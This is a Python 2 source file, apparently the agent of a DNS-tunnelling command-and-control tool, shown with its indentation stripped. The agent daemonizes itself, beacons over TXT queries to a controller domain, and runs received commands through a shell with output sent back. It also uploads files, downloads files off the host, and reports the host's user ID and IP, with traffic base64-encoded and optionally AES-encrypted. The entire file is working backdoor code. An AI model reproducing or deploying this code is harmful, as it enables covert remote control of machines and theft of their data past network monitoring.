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dnsAgent.py
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dnsAgent.py
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import sys
sys.path.append('./lib/')
import dnslib
import time
from time import strftime
from datetime import datetime
import hashlib
import os
import base64
from os import fork, setsid, umask, dup2
from sys import stdin, stdout, stderr
import uuid
import random
import binascii
import logging
import string
from subprocess import Popen
from subprocess import PIPE
import socket
try:
from subprocess import getoutput
except ImportError:
from commands import getoutput
import binascii
import code
import pprint
import ConfigParser
from dnslib.dns import DNSRecord, DNSHeader, DNSQuestion, QTYPE
from dnslib.digparser import DigParser
"""
functions
"""
def registerAgent():
logging.debug("registerAgent enter")
# generate session encryption key
GConfig['key'] = generateKey()
logging.debug("Generated session key: %s" % binascii.hexlify(GConfig['key']))
# sendmsg("RG", GConfig['key'])
while(sendmsg("RG", GConfig['key']) == 0):
logging.debug("Registration failed, retrying ...")
time.sleep(5)
logging.debug("registerAgent finish")
"""
encrypt message function
input: plain message
outupt: AES encrypted message
"""
def cryptmsg(message):
logging.debug("cryptmsg enter")
if GConfig['plain'] == 1:
logging.debug("encryption disabled")
encoded = base64.b64encode(message)
else:
# the block size for the cipher object; must be 16 per FIPS-197
BLOCK_SIZE = 16
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length. This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
# create a cipher object using the random secret
# print GConfig['key']
cipher = AES.new(GConfig['key'])
# encode a string
encoded = EncodeAES(cipher, message)
logging.debug("cryptmsg finish")
return encoded
def decryptmsg(message):
logging.debug("decryptmsg enter")
if GConfig['plain'] == 1:
logging.debug("encryption disabled")
decoded = base64.b64decode(message)
else:
# the block size for the cipher object; must be 16 per FIPS-197
BLOCK_SIZE = 16
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length. This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
# create a cipher object using the random secret
cipher = AES.new(GConfig['key'])
# decode the encoded string
decoded = DecodeAES(cipher, message)
logging.debug("decryptmsg finish")
return decoded
def generateKey():
if GConfig['plain'] == 1:
key = str("\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00")
else:
key = str(os.urandom(16))
return key
def sendmsg(m_type, message=""):
global MSGerror
message = str(message)
if len(message) == 0:
message = "PING"
logging.debug("sendmsg enter")
port = 53
timeout = 10
i = 0
part = ""
c_msg = ""
protohdr = ""
dnsresponse = ""
# dns params max size definition
s_request = 255 # max size of the domain
s_section = 127 # max size of the message
s_dns_section = 63 # max size of the dns section
s_protohdr = 50 # protocol max size headers - hostid + msg m_type + msgid
GConfig['msgid'] = GConfig['msgid'] + 1
if m_type == "RG":
protohdr = str(GConfig['hostid']) + ";" + str(m_type) + ";" + str(GConfig['msgid'])
logging.debug("protohdr: % s " % protohdr)
c_protohdr = base64.b64encode(protohdr)
logging.debug("base64 protohrd: %s " % c_protohdr)
c_msg = base64.b64encode(message)
logging.debug("base64 RG message: %s" % c_msg)
dnsreq = c_protohdr
for i_msg in range(0, (len(c_msg) / s_dns_section) + 1):
dnsreq = dnsreq + "." + c_msg[i_msg * (s_dns_section):i_msg * (s_dns_section) + (s_dns_section)]
dnsreq = dnsreq + "." + GConfig['domain']
logging.debug("dns req: %s " % dnsreq)
# Construct request
q = DNSRecord(q=DNSQuestion(dnsreq, getattr(QTYPE, "TXT")))
try:
a_pkt = q.send(GConfig['dnsserver'], port, False, timeout)
a = DNSRecord.parse(a_pkt).get_a()
response = decryptmsg(string.split(str(a))[4])
except:
logging.debug("Registration failed!")
return(0)
logging.debug("response %s" % response)
if response == "OK":
logging.debug("Registration success!")
return(1)
else:
logging.debug("Registration failed!")
return(0)
else:
if s_request < s_section + s_protohdr + 10 + len(GConfig['domain']):
logging.critical("ERROR: domain too long" + str(s_section + s_protohdr + 10 + len(GConfig['domain'])))
exit(1)
# chunk msq to s_section character pieces
msgcount = (len(message) / s_section) + 1
# encrypt every piece of message with protocol header
logging.debug("MSGcount: " + str(msgcount))
# proto header
for i in range(0, msgcount):
time.sleep(GConfig['beacontime'])
protohdr = str(GConfig['hostid']) + ";" + str(m_type) + ";" + str(GConfig['msgid'])
logging.debug("protohdr: % s " % protohdr)
c_protohdr = base64.b64encode(protohdr)
logging.debug("base64 protohrd: %s " % c_protohdr)
part = (message[i * (s_section):i * (s_section) + (s_section)])
logging.debug("send message: %s " % part)
c_msg = cryptmsg(part)
logging.debug("enc message: %s" % c_msg)
dnsreq = c_protohdr
for i_msg in range(0, (len(c_msg) / s_dns_section) + 1):
dnsreq = dnsreq + "." + c_msg[i_msg * (s_dns_section):i_msg * (s_dns_section) + (s_dns_section)]
dnsreq = dnsreq + "." + GConfig['domain']
logging.debug("dns req: %s " % dnsreq)
# Construct request
q = DNSRecord(q=DNSQuestion(dnsreq, getattr(QTYPE, "TXT")))
try:
a_pkt = q.send(GConfig['dnsserver'], port, False, timeout)
a = DNSRecord.parse(a_pkt).get_a()
response = decryptmsg(string.split(str(a))[4])
except:
logging.debug("Sending request failed!")
# pocitani chyb, pak zavolat znovy registraci
MSGerror = MSGerror + 1
logging.debug("MSGerror %i" % MSGerror)
if MSGerror > GConfig['retry_error']:
logging.debug("New registration enforce due to retry error count")
MSGerror = 0
registerAgent()
return(0)
GConfig['msgid'] = GConfig['msgid'] + 1
logging.debug("response %s" % response)
logging.debug("sendmsg finish")
return response
def recvmsg():
logging.debug("recvmsg enter")
def generatehostid():
logging.debug("hostid enter")
GConfig['hostid'] = str(random.randrange(1000000)) + "-" + str('%08x' % uuid.uuid1().node)
logging.debug("hostig %s " % GConfig['hostid'])
def save_file(file, buffer):
logging.debug("saving file")
fh = open(file, "wb")
fh.write(buffer)
fh.close()
def load_file(file):
logging.debug("reading file to buffer")
try:
fh = open(file, "rb")
buffer = fh.read()
fh.close()
return buffer
except:
return ""
"""
main()
"""
try:
config = ConfigParser.RawConfigParser()
config.read('./config/agent.cfg')
except:
print "Cannot load configuration!"
exit(1)
# parse configuration file
GConfig = {}
GConfig['domain'] = config.get('main', 'domain')
GConfig['beacontime'] = float(config.get('main', 'beacontime'))
GConfig['loglevel'] = config.get('main', 'loglevel')
GConfig['dnsserver'] = config.get('main', 'dnsserver')
GConfig['fork'] = int(config.get('main', 'fork'))
GConfig['logfile'] = config.get('main', 'logfile')
GConfig['plain'] = int(config.get('main', 'plain'))
GConfig['retry_error'] = int(config.get('main', 'retry_error'))
GConfig['msgid'] = 0
if GConfig['loglevel'] == "DEBUG":
loglevel = logging.DEBUG
elif GConfig['loglevel'] == "INFO":
loglevel = logging.INFO
elif GConfig['loglevel'] == "WARNING":
loglevel = logging.WARNING
elif GConfig['loglevel'] == "ERROR":
loglevel = logging.ERROR
elif GConfig['loglevel'] == "CRITICAL":
loglevel = logging.CRITICAL
else:
loglevel = logging.NOTSET
logging.basicConfig(filename=GConfig['logfile'], level=loglevel, format='%(asctime)s.%(msecs)d %(levelname)s %(funcName)s: %(message)s', datefmt="%Y-%m-%d %H:%M:%S")
logging.debug("home domain: " + str(GConfig['domain']))
logging.debug("beacon time: " + str(GConfig['beacontime']))
logging.debug("Log level: " + str(GConfig['loglevel']))
logging.debug("dnsserver: " + str(GConfig['dnsserver']))
logging.debug("fork: " + str(GConfig['fork']))
logging.debug("logfile: " + str(GConfig['logfile']))
logging.debug("plain: " + str(GConfig['plain']))
# fork
if GConfig['fork'] == 1:
print "daemonizing ..."
if fork():
exit(0)
umask(0)
setsid()
if fork():
exit(0)
stdout.flush()
stderr.flush()
si = file('/dev/null', 'r')
so = file('/dev/null', 'a+')
se = file('/dev/null', 'a+', 0)
dup2(si.fileno(), stdin.fileno())
dup2(so.fileno(), stdout.fileno())
dup2(se.fileno(), stderr.fileno())
if GConfig['plain'] == 0:
from Crypto.Cipher import AES
MSGerror = 0
generatehostid()
registerAgent()
while (1):
logging.debug("Sleeping for %s s" % str(GConfig['beacontime']))
time.sleep(GConfig['beacontime'])
# ping for command
command = sendmsg("RC")
# print command
a_cmd = string.split(str(command), " ")
if command == "NOP":
logging.debug("noting to do")
continue
elif command == "ASHUTDOWN":
logging.info("Shutting down agent due to send command!")
exit(0)
elif command == "AGENTID":
id = os.getuid()
sendmsg("ID", str(id))
continue
elif command == "AGENTIP":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 0))
sendmsg("IP", str(s.getsockname()[0]))
continue
elif a_cmd[0] == "BEACONTIME" and len(a_cmd[1]) > 0:
GConfig['beacontime'] = float(a_cmd[1])
logging.info("beacontime changed to %s" % str(a_cmd[1]))
continue
elif a_cmd[0] == "cd" and len(a_cmd[1]) > 0:
os.chdir(a_cmd[1])
logging.info("PWD changed to %s" % str(a_cmd[1]))
output = "pwd: %s " % a_cmd[1]
sendmsg("SM", output)
continue
elif a_cmd[0] == "upload" and len(a_cmd[1]) > 0 and int(a_cmd[2]) > 0:
logging.info("Uploading file %s to agent with %i chunks" % (str(a_cmd[1]), int(a_cmd[2])))
fbuffer = []
resp = ""
counter = 0
while(counter < int(a_cmd[2]) + 1):
fbuffer.insert(counter, str(resp))
resp = sendmsg("UP", counter)
counter = counter + 1
time.sleep(GConfig['beacontime'])
f_file = string.split(a_cmd[1], "/")[-1]
f_buffer = string.join(fbuffer, "")
logging.debug("Receive buffer: %s" % f_buffer)
save_file(f_file, f_buffer)
continue
elif a_cmd[0] == "download" and len(a_cmd[1]) > 0:
logging.info("Downloading file %s from agent" % str(a_cmd[1]))
f_buffer = load_file(a_cmd[1])
if len(f_buffer) > 0:
sendmsg("SD", len(f_buffer))
sendmsg("DL", f_buffer)
sendmsg("FD", string.split(a_cmd[1], "/")[-1])
else:
sendmsg("SM", "Error file doesnt exists!")
continue
else:
logging.debug("Command from master %s " % command)
# execute command
mode = "shell=True"
# (child_stdin, child_stdout, child_stderr) = os.popen3(command, mode, 0)
try:
p = Popen(command, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True)
# p.communicate()
p.wait()
(child_stdin, child_stdout, child_stderr) = (p.stdin, p.stdout, p.stderr)
output = child_stderr.read() + child_stdout.read()
sendmsg("SM", output)
except:
continue